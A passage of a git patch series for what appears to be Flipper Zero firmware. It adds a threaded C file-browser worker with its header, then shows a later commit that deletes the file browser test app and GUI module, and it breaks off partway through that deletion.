"furi/check.h" +#include "furi/common_defines.h" +#include "m-string.h" +#include "storage/filesystem_api_defines.h" +#include +#include +#include +#include +#include + +#define TAG "BrowserWorker" + +#define ASSETS_DIR "assets" +#define BROWSER_ROOT "/any" +#define FILE_NAME_LEN_MAX 256 +#define LONG_LOAD_THRESHOLD 100 + +typedef enum { + WorkerEvtStop = (1 << 0), + WorkerEvtLoad = (1 << 1), + WorkerEvtFolderEnter = (1 << 2), + WorkerEvtFolderExit = (1 << 3), +} WorkerEvtFlags; + +#define WORKER_FLAGS_ALL \ + (WorkerEvtStop | WorkerEvtLoad | WorkerEvtFolderEnter | WorkerEvtFolderExit) + +ARRAY_DEF(idx_last_array, int32_t) + +struct BrowserWorker { + FuriThread* thread; + + string_t filter_extension; + string_t path_next; + int32_t item_sel_idx; + uint32_t load_offset; + uint32_t load_count; + bool skip_assets; + idx_last_array_t idx_last; + + void* cb_ctx; + BrowserWorkerFolderOpenCallback folder_cb; + BrowserWorkerListLoadCallback list_load_cb; + BrowserWorkerListItemCallback list_item_cb; + BrowserWorkerLongLoadCallback long_load_cb; +}; + +static bool browser_path_is_file(string_t path) { + bool state = false; + FileInfo file_info; + Storage* storage = furi_record_open("storage"); + if(storage_common_stat(storage, string_get_cstr(path), &file_info) == FSE_OK) { + if((file_info.flags & FSF_DIRECTORY) == 0) { + state = true; + } + } + furi_record_close("storage"); + return state; +} + +static bool browser_path_trim(string_t path) { + bool is_root = false; + size_t filename_start = string_search_rchar(path, '/'); + string_left(path, filename_start); + if((string_empty_p(path)) || (filename_start == STRING_FAILURE)) { + string_set_str(path, BROWSER_ROOT); + is_root = true; + } + return is_root; +} + +static bool browser_filter_by_name(BrowserWorker* browser, string_t name, bool is_folder) { + if(is_folder) { + // Skip assets folders (if enabled) + if(browser->skip_assets) { + return ((string_cmp_str(name, ASSETS_DIR) == 0) ? (false) : (true)); + } else { + return true; + } + } else { + // Filter files by extension + if((string_empty_p(browser->filter_extension)) || + (string_cmp_str(browser->filter_extension, "*") == 0)) { + return true; + } + if(string_end_with_string_p(name, browser->filter_extension)) { + return true; + } + } + return false; +} + +static bool browser_folder_check_and_switch(string_t path) { + FileInfo file_info; + Storage* storage = furi_record_open("storage"); + bool is_root = false; + while(1) { + // Check if folder is existing and navigate back if not + if(storage_common_stat(storage, string_get_cstr(path), &file_info) == FSE_OK) { + if(file_info.flags & FSF_DIRECTORY) { + break; + } + } + if(is_root) { + break; + } + is_root = browser_path_trim(path); + } + furi_record_close("storage"); + return is_root; +} + +static bool browser_folder_init( + BrowserWorker* browser, + string_t path, + string_t filename, + uint32_t* item_cnt, + int32_t* file_idx) { + bool state = false; + FileInfo file_info; + uint32_t total_files_cnt = 0; + + Storage* storage = furi_record_open("storage"); + File* directory = storage_file_alloc(storage); + + char name_temp[FILE_NAME_LEN_MAX]; + string_t name_str; + string_init(name_str); + + *item_cnt = 0; + *file_idx = -1; + + if(storage_dir_open(directory, string_get_cstr(path))) { + state = true; + while(1) { + if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { + break; + } + if((storage_file_get_error(directory) == FSE_OK) && (name_temp[0] != '\0')) { + total_files_cnt++; + string_set_str(name_str, name_temp); + if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { + if(!string_empty_p(filename)) { + if(string_cmp(name_str, filename) == 0) { + *file_idx = *item_cnt; + } + } + (*item_cnt)++; + } + if(total_files_cnt == LONG_LOAD_THRESHOLD) { + if(browser->long_load_cb) { + browser->long_load_cb(browser->cb_ctx); + } + } + } + } + } + + string_clear(name_str); + + storage_dir_close(directory); + storage_file_free(directory); + + furi_record_close("storage"); + + return state; +} + +static bool + browser_folder_load(BrowserWorker* browser, string_t path, uint32_t offset, uint32_t count) { + FileInfo file_info; + + Storage* storage = furi_record_open("storage"); + File* directory = storage_file_alloc(storage); + + char name_temp[FILE_NAME_LEN_MAX]; + string_t name_str; + string_init(name_str); + + uint32_t items_cnt = 0; + + do { + if(!storage_dir_open(directory, string_get_cstr(path))) { + break; + } + + items_cnt = 0; + while(items_cnt < offset) { + if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { + break; + } + if(storage_file_get_error(directory) == FSE_OK) { + string_set_str(name_str, name_temp); + if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { + items_cnt++; + } + } else { + break; + } + } + if(items_cnt != offset) { + break; + } + + if(browser->list_load_cb) { + browser->list_load_cb(browser->cb_ctx, offset); + } + + items_cnt = 0; + while(items_cnt < count) { + if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { + break; + } + if(storage_file_get_error(directory) == FSE_OK) { + string_set_str(name_str, name_temp); + if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { + string_printf(name_str, "%s/%s", string_get_cstr(path), name_temp); + if(browser->list_item_cb) { + browser->list_item_cb( + browser->cb_ctx, name_str, (file_info.flags & FSF_DIRECTORY), false); + } + items_cnt++; + } + } else { + break; + } + } + if(browser->list_item_cb) { + browser->list_item_cb(browser->cb_ctx, NULL, false, true); + } + } while(0); + + string_clear(name_str); + + storage_dir_close(directory); + storage_file_free(directory); + + furi_record_close("storage"); + + return (items_cnt == count); +} + +static int32_t browser_worker(void* context) { + BrowserWorker* browser = (BrowserWorker*)context; + furi_assert(browser); + FURI_LOG_D(TAG, "Start"); + + uint32_t items_cnt = 0; + string_t path; + string_init_set_str(path, BROWSER_ROOT); + browser->item_sel_idx = -1; + + // If start path is a path to the file - try finding index of this file in a folder + string_t filename; + string_init(filename); + if(browser_path_is_file(browser->path_next)) { + file_browser_worker_get_filename(browser->path_next, filename, false); + } + + osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderEnter); + + while(1) { + uint32_t flags = osThreadFlagsWait(WORKER_FLAGS_ALL, osFlagsWaitAny, osWaitForever); + furi_assert((flags & osFlagsError) == 0); + + if(flags & WorkerEvtFolderEnter) { + string_set(path, browser->path_next); + bool is_root = browser_folder_check_and_switch(path); + + // Push previous selected item index to history array + idx_last_array_push_back(browser->idx_last, browser->item_sel_idx); + + int32_t file_idx = 0; + browser_folder_init(browser, path, filename, &items_cnt, &file_idx); + FURI_LOG_D( + TAG, + "Enter folder: %s items: %u idx: %d", + string_get_cstr(path), + items_cnt, + file_idx); + if(browser->folder_cb) { + browser->folder_cb(browser->cb_ctx, items_cnt, file_idx, is_root); + } + string_reset(filename); + } + + if(flags & WorkerEvtFolderExit) { + browser_path_trim(path); + bool is_root = browser_folder_check_and_switch(path); + + int32_t file_idx = 0; + browser_folder_init(browser, path, filename, &items_cnt, &file_idx); + if(idx_last_array_size(browser->idx_last) > 0) { + // Pop previous selected item index from history array + idx_last_array_pop_back(&file_idx, browser->idx_last); + } + FURI_LOG_D( + TAG, "Exit to: %s items: %u idx: %d", string_get_cstr(path), items_cnt, file_idx); + if(browser->folder_cb) { + browser->folder_cb(browser->cb_ctx, items_cnt, file_idx, is_root); + } + } + + if(flags & WorkerEvtLoad) { + FURI_LOG_D(TAG, "Load offset: %u cnt: %u", browser->load_offset, browser->load_count); + browser_folder_load(browser, path, browser->load_offset, browser->load_count); + } + + if(flags & WorkerEvtStop) { + break; + } + } + + string_clear(filename); + string_clear(path); + + FURI_LOG_D(TAG, "End"); + return 0; +} + +void file_browser_worker_get_filename(string_t path, string_t name, bool trim_ext) { + size_t filename_start = string_search_rchar(path, '/'); + if(filename_start > 0) { + filename_start++; + string_set_n(name, path, filename_start, string_size(path) - filename_start); + } + if(trim_ext) { + size_t dot = string_search_rchar(name, '.'); + if(dot > 0) { + string_left(name, dot); + } + } +} + +BrowserWorker* file_browser_worker_alloc(string_t path, char* filter_ext, bool skip_assets) { + BrowserWorker* browser = malloc(sizeof(BrowserWorker)); + + idx_last_array_init(browser->idx_last); + + string_init_set_str(browser->filter_extension, filter_ext); + browser->skip_assets = skip_assets; + string_init_set(browser->path_next, path); + + browser->thread = furi_thread_alloc(); + furi_thread_set_name(browser->thread, "BrowserWorker"); + furi_thread_set_stack_size(browser->thread, 2048); + furi_thread_set_context(browser->thread, browser); + furi_thread_set_callback(browser->thread, browser_worker); + furi_thread_start(browser->thread); + + return browser; +} + +void file_browser_worker_free(BrowserWorker* browser) { + furi_assert(browser); + + osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtStop); + furi_thread_join(browser->thread); + furi_thread_free(browser->thread); + + string_clear(browser->filter_extension); + string_clear(browser->path_next); + + idx_last_array_clear(browser->idx_last); + + free(browser); +} + +void file_browser_worker_set_callback_context(BrowserWorker* browser, void* context) { + furi_assert(browser); + browser->cb_ctx = context; +} + +void file_browser_worker_set_folder_callback( + BrowserWorker* browser, + BrowserWorkerFolderOpenCallback cb) { + furi_assert(browser); + browser->folder_cb = cb; +} + +void file_browser_worker_set_list_callback( + BrowserWorker* browser, + BrowserWorkerListLoadCallback cb) { + furi_assert(browser); + browser->list_load_cb = cb; +} + +void file_browser_worker_set_item_callback( + BrowserWorker* browser, + BrowserWorkerListItemCallback cb) { + furi_assert(browser); + browser->list_item_cb = cb; +} + +void file_browser_worker_set_long_load_callback( + BrowserWorker* browser, + BrowserWorkerLongLoadCallback cb) { + furi_assert(browser); + browser->long_load_cb = cb; +} + +void file_browser_worker_folder_enter(BrowserWorker* browser, string_t path, int32_t item_idx) { + furi_assert(browser); + string_set(browser->path_next, path); + browser->item_sel_idx = item_idx; + osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderEnter); +} + +void file_browser_worker_folder_exit(BrowserWorker* browser) { + furi_assert(browser); + osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderExit); +} + +void file_browser_worker_load(BrowserWorker* browser, uint32_t offset, uint32_t count) { + furi_assert(browser); + browser->load_offset = offset; + browser->load_count = count; + osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtLoad); +} diff --git a/applications/gui/modules/file_browser_worker.h b/applications/gui/modules/file_browser_worker.h new file mode 100644 index 000000000..821d5103f --- /dev/null +++ b/applications/gui/modules/file_browser_worker.h @@ -0,0 +1,57 @@ +#pragma once + +#include "m-string.h" +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct BrowserWorker BrowserWorker; +typedef void (*BrowserWorkerFolderOpenCallback)( + void* context, + uint32_t item_cnt, + int32_t file_idx, + bool is_root); +typedef void (*BrowserWorkerListLoadCallback)(void* context, uint32_t list_load_offset); +typedef void (*BrowserWorkerListItemCallback)( + void* context, + string_t item_path, + bool is_folder, + bool is_last); +typedef void (*BrowserWorkerLongLoadCallback)(void* context); + +void file_browser_worker_get_filename(string_t path, string_t name, bool trim_ext); + +BrowserWorker* file_browser_worker_alloc(string_t path, char* filter_ext, bool skip_assets); + +void file_browser_worker_free(BrowserWorker* browser); + +void file_browser_worker_set_callback_context(BrowserWorker* browser, void* context); + +void file_browser_worker_set_folder_callback( + BrowserWorker* browser, + BrowserWorkerFolderOpenCallback cb); + +void file_browser_worker_set_list_callback( + BrowserWorker* browser, + BrowserWorkerListLoadCallback cb); + +void file_browser_worker_set_item_callback( + BrowserWorker* browser, + BrowserWorkerListItemCallback cb); + +void file_browser_worker_set_long_load_callback( + BrowserWorker* browser, + BrowserWorkerLongLoadCallback cb); + +void file_browser_worker_folder_enter(BrowserWorker* browser, string_t path, int32_t item_idx); + +void file_browser_worker_folder_exit(BrowserWorker* browser); + +void file_browser_worker_load(BrowserWorker* browser, uint32_t offset, uint32_t count); + +#ifdef __cplusplus +} +#endif From 49a16070e34ad2ccbb90288741444ca1453e2c3c Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 17:29:42 +0300 Subject: [PATCH 231/461] fff --- .../file_browser_test/file_browser_app.c | 99 ---- .../file_browser_test/file_browser_app_i.h | 32 -- .../scenes/file_browser_scene.c | 30 - .../scenes/file_browser_scene.h | 29 - .../scenes/file_browser_scene_browser.c | 45 -- .../scenes/file_browser_scene_config.h | 3 - .../scenes/file_browser_scene_result.c | 36 -- .../scenes/file_browser_scene_start.c | 44 -- applications/gui/modules/file_browser.c | 532 ------------------ applications/gui/modules/file_browser.h | 39 -- .../gui/modules/file_browser_worker.c | 420 -------------- .../gui/modules/file_browser_worker.h | 57 -- 12 files changed, 1366 deletions(-) delete mode 100644 applications/debug_tools/file_browser_test/file_browser_app.c delete mode 100644 applications/debug_tools/file_browser_test/file_browser_app_i.h delete mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene.c delete mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene.h delete mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c delete mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h delete mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c delete mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c delete mode 100644 applications/gui/modules/file_browser.c delete mode 100644 applications/gui/modules/file_browser.h delete mode 100644 applications/gui/modules/file_browser_worker.c delete mode 100644 applications/gui/modules/file_browser_worker.h diff --git a/applications/debug_tools/file_browser_test/file_browser_app.c b/applications/debug_tools/file_browser_test/file_browser_app.c deleted file mode 100644 index a408f5cde..000000000 --- a/applications/debug_tools/file_browser_test/file_browser_app.c +++ /dev/null @@ -1,99 +0,0 @@ -#include "assets_icons.h" -#include "file_browser_app_i.h" -#include "gui/modules/file_browser.h" -#include "m-string.h" -#include -#include -#include -#include - -static bool file_browser_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - FileBrowserApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool file_browser_app_back_event_callback(void* context) { - furi_assert(context); - FileBrowserApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void file_browser_app_tick_event_callback(void* context) { - furi_assert(context); - FileBrowserApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -FileBrowserApp* file_browser_app_alloc(char* arg) { - UNUSED(arg); - FileBrowserApp* app = malloc(sizeof(FileBrowserApp)); - - app->gui = furi_record_open("gui"); - app->dialogs = furi_record_open("dialogs"); - - app->view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(app->view_dispatcher); - - app->scene_manager = scene_manager_alloc(&file_browser_scene_handlers, app); - - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, file_browser_app_tick_event_callback, 500); - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, file_browser_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, file_browser_app_back_event_callback); - - app->widget = widget_alloc(); - - string_init(app->file_path); - app->file_browser = file_browser_alloc(&(app->file_path)); - file_browser_configure(app->file_browser, "*", true, &I_badusb_10px, true); - - view_dispatcher_add_view( - app->view_dispatcher, FileBrowserAppViewStart, widget_get_view(app->widget)); - view_dispatcher_add_view( - app->view_dispatcher, FileBrowserAppViewResult, widget_get_view(app->widget)); - view_dispatcher_add_view( - app->view_dispatcher, FileBrowserAppViewBrowser, file_browser_get_view(app->file_browser)); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - scene_manager_next_scene(app->scene_manager, FileBrowserSceneStart); - - return app; -} - -void file_browser_app_free(FileBrowserApp* app) { - furi_assert(app); - - // Views - view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewStart); - view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewResult); - view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewBrowser); - widget_free(app->widget); - file_browser_free(app->file_browser); - - // View dispatcher - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - // Close records - furi_record_close("gui"); - furi_record_close("notification"); - furi_record_close("dialogs"); - - string_clear(app->file_path); - - free(app); -} - -int32_t file_browser_app(void* p) { - FileBrowserApp* file_browser_app = file_browser_app_alloc((char*)p); - - view_dispatcher_run(file_browser_app->view_dispatcher); - - file_browser_app_free(file_browser_app); - return 0; -} diff --git a/applications/debug_tools/file_browser_test/file_browser_app_i.h b/applications/debug_tools/file_browser_test/file_browser_app_i.h deleted file mode 100644 index 6e8412c9b..000000000 --- a/applications/debug_tools/file_browser_test/file_browser_app_i.h +++ /dev/null @@ -1,32 +0,0 @@ -#pragma once - -#include "scenes/file_browser_scene.h" - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -typedef struct FileBrowserApp FileBrowserApp; - -struct FileBrowserApp { - Gui* gui; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - DialogsApp* dialogs; - Widget* widget; - FileBrowser* file_browser; - - string_t file_path; -}; - -typedef enum { - FileBrowserAppViewStart, - FileBrowserAppViewBrowser, - FileBrowserAppViewResult, -} FileBrowserAppView; diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c deleted file mode 100644 index 72a6e84d7..000000000 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "file_browser_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const file_browser_scene_on_enter_handlers[])(void*) = { -#include "file_browser_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const file_browser_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "file_browser_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const file_browser_scene_on_exit_handlers[])(void* context) = { -#include "file_browser_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers file_browser_scene_handlers = { - .on_enter_handlers = file_browser_scene_on_enter_handlers, - .on_event_handlers = file_browser_scene_on_event_handlers, - .on_exit_handlers = file_browser_scene_on_exit_handlers, - .scene_num = FileBrowserSceneNum, -}; diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h deleted file mode 100644 index d690fca9f..000000000 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) FileBrowserScene##id, -typedef enum { -#include "file_browser_scene_config.h" - FileBrowserSceneNum, -} FileBrowserScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers file_browser_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "file_browser_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "file_browser_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "file_browser_scene_config.h" -#undef ADD_SCENE diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c deleted file mode 100644 index 9c570cec0..000000000 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c +++ /dev/null @@ -1,45 +0,0 @@ -#include "../file_browser_app_i.h" -#include "furi/check.h" -#include "furi/log.h" -#include "furi_hal.h" -#include "m-string.h" - -#define DEFAULT_PATH "/" -#define EXTENSION "*" - -bool file_browser_scene_browser_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - FileBrowserApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_next_scene(app->scene_manager, FileBrowserSceneResult); - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - } - return consumed; -} - -static void file_browser_callback(void* context, bool state) { - FileBrowserApp* app = context; - furi_assert(app); - view_dispatcher_send_custom_event(app->view_dispatcher, SceneManagerEventTypeCustom); - - UNUSED(state); -} - -void file_browser_scene_browser_on_enter(void* context) { - FileBrowserApp* app = context; - - file_browser_set_callback(app->file_browser, file_browser_callback, app); - - file_browser_start(app->file_browser, app->file_path); - - view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewBrowser); -} - -void file_browser_scene_browser_on_exit(void* context) { - FileBrowserApp* app = context; - - file_browser_stop(app->file_browser); -} diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h deleted file mode 100644 index 6597df3aa..000000000 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h +++ /dev/null @@ -1,3 +0,0 @@ -ADD_SCENE(file_browser, start, Start) -ADD_SCENE(file_browser, browser, Browser) -ADD_SCENE(file_browser, result, Result) diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c deleted file mode 100644 index 53576cef4..000000000 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c +++ /dev/null @@ -1,36 +0,0 @@ -#include "../file_browser_app_i.h" -#include "furi_hal.h" -#include "m-string.h" - -void file_browser_scene_result_ok_callback(InputType type, void* context) { - furi_assert(context); - FileBrowserApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, type); -} - -bool file_browser_scene_result_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - //FileBrowserApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - } - return consumed; -} - -void file_browser_scene_result_on_enter(void* context) { - FileBrowserApp* app = context; - - widget_add_string_multiline_element( - app->widget, 64, 10, AlignCenter, AlignTop, FontSecondary, string_get_cstr(app->file_path)); - - view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewResult); -} - -void file_browser_scene_result_on_exit(void* context) { - UNUSED(context); - FileBrowserApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c deleted file mode 100644 index bb71e83df..000000000 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c +++ /dev/null @@ -1,44 +0,0 @@ -#include "../file_browser_app_i.h" -#include "furi_hal.h" -#include "gui/modules/widget_elements/widget_element_i.h" - -static void - file_browser_scene_start_ok_callback(GuiButtonType result, InputType type, void* context) { - UNUSED(result); - furi_assert(context); - FileBrowserApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, type); - } -} - -bool file_browser_scene_start_on_event(void* context, SceneManagerEvent event) { - FileBrowserApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - string_set_str(app->file_path, "/any/badusb/demo_windows.txt"); - scene_manager_next_scene(app->scene_manager, FileBrowserSceneBrowser); - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - } - return consumed; -} - -void file_browser_scene_start_on_enter(void* context) { - FileBrowserApp* app = context; - - widget_add_string_multiline_element( - app->widget, 64, 20, AlignCenter, AlignTop, FontSecondary, "Press OK to start"); - - widget_add_button_element( - app->widget, GuiButtonTypeCenter, "Ok", file_browser_scene_start_ok_callback, app); - - view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewStart); -} - -void file_browser_scene_start_on_exit(void* context) { - UNUSED(context); - FileBrowserApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/gui/modules/file_browser.c b/applications/gui/modules/file_browser.c deleted file mode 100644 index 919750962..000000000 --- a/applications/gui/modules/file_browser.c +++ /dev/null @@ -1,532 +0,0 @@ -#include "file_browser.h" -#include "assets_icons.h" -#include "cmsis_os2.h" -#include "file_browser_worker.h" -#include "furi/check.h" -#include "furi/common_defines.h" -#include "furi/log.h" -#include "furi_hal_resources.h" -#include "m-string.h" -#include -#include -#include - -#define LIST_ITEMS 5u -#define MAX_LEN_PX 110 -#define FRAME_HEIGHT 12 -#define Y_OFFSET 3 - -#define ITEM_LIST_LEN_MAX 100 - -typedef enum { - BrowserItemTypeLoading, - BrowserItemTypeBack, - BrowserItemTypeFolder, - BrowserItemTypeFile, -} BrowserItemType; - -typedef struct { - string_t path; - BrowserItemType type; -} BrowserItem_t; - -static void BrowserItem_t_init(BrowserItem_t* obj) { - obj->type = BrowserItemTypeLoading; - string_init(obj->path); -} - -static void BrowserItem_t_init_set(BrowserItem_t* obj, const BrowserItem_t* src) { - obj->type = src->type; - string_init_set(obj->path, src->path); -} - -static void BrowserItem_t_set(BrowserItem_t* obj, const BrowserItem_t* src) { - obj->type = src->type; - string_set(obj->path, src->path); -} - -static void BrowserItem_t_clear(BrowserItem_t* obj) { - string_clear(obj->path); -} - -ARRAY_DEF( - items_array, - BrowserItem_t, - (INIT(API_2(BrowserItem_t_init)), - SET(API_6(BrowserItem_t_set)), - INIT_SET(API_6(BrowserItem_t_init_set)), - CLEAR(API_2(BrowserItem_t_clear)))) - -struct FileBrowser { - View* view; - BrowserWorker* worker; - char* ext_filter; - bool skip_assets; - - FileBrowserCallback callback; - void* context; - - string_t* result_path; -}; - -typedef struct { - items_array_t items; - - bool is_root; - bool folder_loading; - bool list_loading; - uint32_t item_cnt; - int32_t item_idx; - int32_t array_offset; - int32_t list_offset; - - const Icon* file_icon; - bool hide_ext; -} FileBrowserModel; - -static const Icon* BrowserItemIcons[] = { - [BrowserItemTypeLoading] = &I_loading_10px, - [BrowserItemTypeBack] = &I_back_10px, - [BrowserItemTypeFolder] = &I_dir_10px, - [BrowserItemTypeFile] = &I_unknown_10px, -}; - -static void file_browser_view_draw_callback(Canvas* canvas, void* _model); -static bool file_browser_view_input_callback(InputEvent* event, void* context); - -static void - browser_folder_open_cb(void* context, uint32_t item_cnt, int32_t file_idx, bool is_root); -static void browser_list_load_cb(void* context, uint32_t list_load_offset); -static void browser_list_item_cb(void* context, string_t item_path, bool is_folder, bool is_last); -static void browser_long_load_cb(void* context); - -FileBrowser* file_browser_alloc(string_t* result_path) { - furi_assert(result_path); - FileBrowser* browser = malloc(sizeof(FileBrowser)); - browser->view = view_alloc(); - view_allocate_model(browser->view, ViewModelTypeLocking, sizeof(FileBrowserModel)); - view_set_context(browser->view, browser); - view_set_draw_callback(browser->view, file_browser_view_draw_callback); - view_set_input_callback(browser->view, file_browser_view_input_callback); - - browser->result_path = result_path; - - with_view_model( - browser->view, (FileBrowserModel * model) { - items_array_init(model->items); - return false; - }); - - return browser; -} - -void file_browser_free(FileBrowser* browser) { - furi_assert(browser); - - with_view_model( - browser->view, (FileBrowserModel * model) { - items_array_clear(model->items); - return false; - }); - - view_free(browser->view); - free(browser); -} - -View* file_browser_get_view(FileBrowser* browser) { - furi_assert(browser); - return browser->view; -} - -void file_browser_configure( - FileBrowser* browser, - char* extension, - bool skip_assets, - const Icon* file_icon, - bool hide_ext) { - furi_assert(browser); - - browser->ext_filter = extension; - browser->skip_assets = skip_assets; - - with_view_model( - browser->view, (FileBrowserModel * model) { - model->file_icon = file_icon; - model->hide_ext = hide_ext; - return false; - }); -} - -void file_browser_start(FileBrowser* browser, string_t path) { - furi_assert(browser); - browser->worker = file_browser_worker_alloc(path, browser->ext_filter, browser->skip_assets); - file_browser_worker_set_callback_context(browser->worker, browser); - file_browser_worker_set_folder_callback(browser->worker, browser_folder_open_cb); - file_browser_worker_set_list_callback(browser->worker, browser_list_load_cb); - file_browser_worker_set_item_callback(browser->worker, browser_list_item_cb); - file_browser_worker_set_long_load_callback(browser->worker, browser_long_load_cb); -} - -void file_browser_stop(FileBrowser* browser) { - furi_assert(browser); - file_browser_worker_free(browser->worker); - with_view_model( - browser->view, (FileBrowserModel * model) { - items_array_reset(model->items); - model->item_cnt = 0; - model->item_idx = 0; - model->array_offset = 0; - model->list_offset = 0; - return false; - }); -} - -void file_browser_set_callback(FileBrowser* browser, FileBrowserCallback callback, void* context) { - browser->context = context; - browser->callback = callback; -} - -static bool browser_is_item_in_array(FileBrowserModel* model, uint32_t idx) { - size_t array_size = items_array_size(model->items); - - if((idx >= (uint32_t)model->array_offset + array_size) || - (idx < (uint32_t)model->array_offset)) { - return false; - } - return true; -} - -static bool browser_is_list_load_required(FileBrowserModel* model) { - size_t array_size = items_array_size(model->items); - uint32_t item_cnt = (model->is_root) ? model->item_cnt : model->item_cnt - 1; - - if((model->list_loading) || (array_size >= item_cnt)) { - return false; - } - - if((model->array_offset > 0) && - (model->item_idx < (model->array_offset + ITEM_LIST_LEN_MAX / 4))) { - return true; - } - - if(((model->array_offset + array_size) < item_cnt) && - (model->item_idx > (int32_t)(model->array_offset + array_size - ITEM_LIST_LEN_MAX / 4))) { - return true; - } - - return false; -} - -static void browser_update_offset(FileBrowser* browser) { - furi_assert(browser); - - with_view_model( - browser->view, (FileBrowserModel * model) { - uint16_t bounds = model->item_cnt > (LIST_ITEMS - 1) ? 2 : model->item_cnt; - - if((model->item_cnt > (LIST_ITEMS - 1)) && - (model->item_idx >= ((int32_t)model->item_cnt - 1))) { - model->list_offset = model->item_idx - (LIST_ITEMS - 1); - } else if(model->list_offset < model->item_idx - bounds) { - model->list_offset = CLAMP( - model->item_idx - (int32_t)(LIST_ITEMS - 2), - (int32_t)model->item_cnt - bounds, - 0); - } else if(model->list_offset > model->item_idx - bounds) { - model->list_offset = - CLAMP(model->item_idx - 1, 